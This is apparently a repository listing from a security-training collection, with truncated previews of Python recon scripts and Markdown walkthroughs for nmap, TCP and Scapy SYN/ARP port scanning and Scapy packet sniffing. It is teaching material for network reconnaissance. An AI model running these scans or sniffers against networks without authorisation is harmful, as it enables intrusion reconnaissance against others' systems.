h4cker/programming_and_scripting_for_cybersecurity/recon_scripts/scanning/python_nmap.py
#!/usr/bin/python # Author: Omar Santos @santosomar # version 1.0 # This is a quick demonstration on how to use the python nmap library # * Pre-requisite: nmap python library. # * Install it with pip install python-nmap ##################################################################### import sys try: impor...
Python
h4cker/programming_and_scripting_for_cybersecurity/recon_scripts/scanning/quick_scanner.py
#!/usr/bin/python # Author: Omar Santos @santosomar # version 1.0 # This is a quick demonstration on how to create a # basic TCP port scanner using python. ##################################################################### from __future__ import print_function import socket, subprocess, sys try: raw_input ...
Python
h4cker/programming_and_scripting_for_cybersecurity/recon_scripts/scanning/scapscan.py
#!/usr/bin/python """ Author: Omar Santos @santosomar version 1.0 This is a quick demonstration on how to use the scapy as a scanner * Pre-requisite: scapy, prettytable, argparse """ from __future__ import print_function import sys import prettytable import argparse import logging logging.getLogger("scapy.runtime").se...
Markdown
h4cker/programming_and_scripting_for_cybersecurity/recon_scripts/scanning/scapy_basic_scanner.md
# Using Scapy to Scan a System The following is an example of a Python script that uses Scapy to perform a basic TCP port scan: ```python from scapy.all import * import sys def tcp_port_scan(target, ports): for port in ports: tcp_packet = IP(dst=target) / TCP(dport=port, flags="S") response = sr1...
Python
h4cker/programming_and_scripting_for_cybersecurity/recon_scripts/scanning/simple_scapy_scan.py
import argparse from scapy.all import * def arp_scan(ip): """ Network scanning using ARP requests to an IP address or a range of IP addresses. Args: ip (str): An IP address or IP address range to scan. For example: - 192.168.88.1 to scan a single IP address ...
Markdown
h4cker/programming_and_scripting_for_cybersecurity/recon_scripts/sniffing_packet_capturing/another_scapy_sniffer_walkthrough.md
# Simple Scapy Packet Capture Here is a Python script that uses the Scapy library to capture a packet: ``` from scapy.all import * # Define a callback function def packet_callback(packet): print(packet.show()) # Use the sniff() function to capture packets sniff(prn=packet_callback, filter="tcp", count=1) ``` Th...